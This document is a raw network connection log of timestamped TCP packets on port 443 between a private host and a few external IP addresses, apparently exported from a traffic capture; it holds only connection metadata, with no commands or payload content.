Jan 10, 2025 00:21:22.044692039 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.044692039 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.044730902 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.044732094 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.044756889 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.092627048 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.092639923 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.092650890 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.092683077 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.092952967 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.092973948 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.142957926 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.142971992 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.142993927 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.143001080 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.143007040 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.143013954 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.143213034 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.143213034 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.143224001 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.144948006 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.144958019 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.144975901 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.144984007 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.144992113 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.145005941 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.145023108 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.145029068 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.145077944 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.147869110 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.147876024 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.147919893 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.147927999 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.147974968 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.147981882 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.148003101 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.185554028 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.185595989 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.185605049 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.185616970 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.185689926 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.185702085 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.185847044 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.234980106 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.234994888 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.235012054 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.235028982 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.235282898 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.235291004 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.235308886 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.235327959 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.235342026 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.235358000 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.235419035 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.235515118 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.236541986 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.236558914 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.236649036 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.236658096 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.236706972 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.261728048 CET	443	49938	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.262170076 CET	49938	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.262196064 CET	443	49938	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.263277054 CET	443	49938	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.263453007 CET	49938	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.263726950 CET	49938	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.263799906 CET	443	49938	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.263932943 CET	49938	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.263951063 CET	443	49938	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.281038046 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.281065941 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.281152010 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.281171083 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.281222105 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.281990051 CET	443	49939	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.282246113 CET	49939	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.282263041 CET	443	49939	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.282627106 CET	443	49939	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.282972097 CET	49939	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.283036947 CET	443	49939	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.283174038 CET	49939	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.283185959 CET	443	49939	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.316600084 CET	49938	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.322005033 CET	443	49920	13.107.246.61	192.168.2.6
Jan 10, 2025 00:21:22.322380066 CET	49920	443	192.168.2.6	13.107.246.61
Jan 10, 2025 00:21:22.322396994 CET	443	49920	13.107.246.61	192.168.2.6
Jan 10, 2025 00:21:22.323502064 CET	443	49920	13.107.246.61	192.168.2.6
Jan 10, 2025 00:21:22.323587894 CET	49920	443	192.168.2.6	13.107.246.61
Jan 10, 2025 00:21:22.325380087 CET	49920	443	192.168.2.6	13.107.246.61
Jan 10, 2025 00:21:22.325458050 CET	443	49920	13.107.246.61	192.168.2.6
Jan 10, 2025 00:21:22.329819918 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.329848051 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.329921961 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.329935074 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.329963923 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.329982996 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.330071926 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.330087900 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.330140114 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.330143929 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.330195904 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.330323935 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.330338955 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.330383062 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.330388069 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.330444098 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.331080914 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.331099033 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.331177950 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.331186056 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.331227064 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.331746101 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.331769943 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.331829071 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.331837893 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.331891060 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.331988096 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.332004070 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.332070112 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.332076073 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.332093954 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.332113981 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.332118034 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.332128048 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.332150936 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.332185030 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.365756989 CET	49920	443	192.168.2.6	13.107.246.61
Jan 10, 2025 00:21:22.365771055 CET	443	49920	13.107.246.61	192.168.2.6
Jan 10, 2025 00:21:22.396457911 CET	443	49938	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.412017107 CET	49920	443	192.168.2.6	13.107.246.61
Jan 10, 2025 00:21:22.414164066 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.414189100 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.414243937 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.414252996 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.414288998 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.414329052 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.421394110 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.421417952 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.421535969 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.421547890 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.421591043 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.421627998 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.421643019 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.421703100 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.421708107 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.421751022 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.422472954 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.422487974 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.422539949 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.422545910 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.422584057 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.423084021 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.423098087 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.423141956 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.423149109 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.423173904 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.423192978 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.423850060 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.423866034 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.423929930 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.423937082 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.423974991 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.424173117 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.424189091 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.424237013 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.424242973 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.424282074 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.425198078 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.425213099 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.425280094 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.425287962 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.425328016 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.444453955 CET	49938	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.444518089 CET	443	49938	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.454293966 CET	443	49939	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.490552902 CET	49938	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.491722107 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.492160082 CET	49940	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.492187977 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.493269920 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.493341923 CET	49940	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.493788958 CET	49940	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.493850946 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.493976116 CET	49940	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.493985891 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.504846096 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.504873037 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.504909992 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.504946947 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.504996061 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.505007029 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.505162001 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.505481958 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.505522013 CET	443	49927	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.505573034 CET	49927	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.505958080 CET	49939	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.511538029 CET	49946	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.511598110 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.511676073 CET	49946	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.511919022 CET	49946	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.511938095 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.513168097 CET	49947	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:22.513219118 CET	443	49947	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:22.514858961 CET	49947	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:22.515100002 CET	49947	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:22.515114069 CET	443	49947	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:22.518913031 CET	49948	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.518938065 CET	443	49948	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.519004107 CET	49948	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.520452023 CET	49948	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.520463943 CET	443	49948	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.526376963 CET	443	49938	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.535343885 CET	49940	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.581120968 CET	49938	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.581146955 CET	443	49938	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.581423044 CET	49938	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.581548929 CET	443	49938	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.581624031 CET	49938	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.590456009 CET	443	49939	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.631707907 CET	49939	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.631736040 CET	443	49939	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.640069962 CET	49939	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.640161037 CET	443	49939	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.640222073 CET	49939	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.769846916 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.815809011 CET	49940	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.815829992 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.864130020 CET	49940	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.871628046 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.871640921 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.871680975 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.871702909 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.871725082 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.871732950 CET	49940	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.871745110 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.871782064 CET	49940	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.871810913 CET	49940	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.905987978 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.906003952 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.906035900 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.906068087 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.906183958 CET	49940	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.906203985 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.906238079 CET	49940	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.906260967 CET	49940	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.962006092 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.962039948 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.962125063 CET	49940	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.962142944 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.962197065 CET	49940	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.994960070 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.995332003 CET	49940	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.995358944 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.997744083 CET	49940	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.997811079 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.998008013 CET	443	49940	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:22.998104095 CET	49940	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:22.998122931 CET	49940	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.054338932 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.054730892 CET	49946	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.054764986 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.055847883 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.056013107 CET	49946	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.056338072 CET	49946	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.056408882 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.056514978 CET	49946	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.056530952 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.069572926 CET	443	49948	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.069845915 CET	49948	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.069861889 CET	443	49948	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.070988894 CET	443	49948	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.071077108 CET	49948	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.071516037 CET	49948	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.071602106 CET	443	49948	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.071697950 CET	49948	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.071706057 CET	443	49948	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.098212004 CET	49946	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.113341093 CET	49948	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.344909906 CET	443	49947	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:23.345417976 CET	49947	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:23.345449924 CET	443	49947	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:23.345835924 CET	443	49947	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:23.346189022 CET	49947	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:23.346254110 CET	443	49947	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:23.346414089 CET	49947	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:23.387346983 CET	443	49947	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:23.571542025 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.611294031 CET	49946	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.611309052 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.620388985 CET	443	49947	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:23.655100107 CET	49946	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.659430027 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.659435987 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.659491062 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.659502029 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.659514904 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.659528017 CET	49946	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.659538031 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.659605026 CET	49946	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.661097050 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.661108017 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.661175966 CET	49946	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.661184072 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.661200047 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.661216021 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.661246061 CET	49946	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.661257029 CET	49946	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.662240028 CET	49947	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:23.664036036 CET	443	49947	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:23.664045095 CET	443	49947	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:23.664071083 CET	443	49947	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:23.664134979 CET	49947	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:23.664161921 CET	443	49947	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:23.664181948 CET	49947	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:23.664191008 CET	443	49947	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:23.664216042 CET	49947	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:23.664237022 CET	49947	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:23.714601040 CET	443	49947	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:23.714626074 CET	443	49947	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:23.714704037 CET	49947	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:23.714737892 CET	443	49947	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:23.714788914 CET	49947	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:23.717617989 CET	443	49947	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:23.717634916 CET	443	49947	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:23.717704058 CET	49947	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:23.717720032 CET	443	49947	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:23.717775106 CET	49947	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:23.746826887 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.746838093 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.746869087 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.746901035 CET	49946	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.746917009 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.746948004 CET	49946	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.746965885 CET	49946	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.748791933 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.748812914 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.748879910 CET	49946	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.748891115 CET	443	49946	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:23.748936892 CET	49946	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:23.751365900 CET	443	49946	165.140.202.155	192.168.2.6
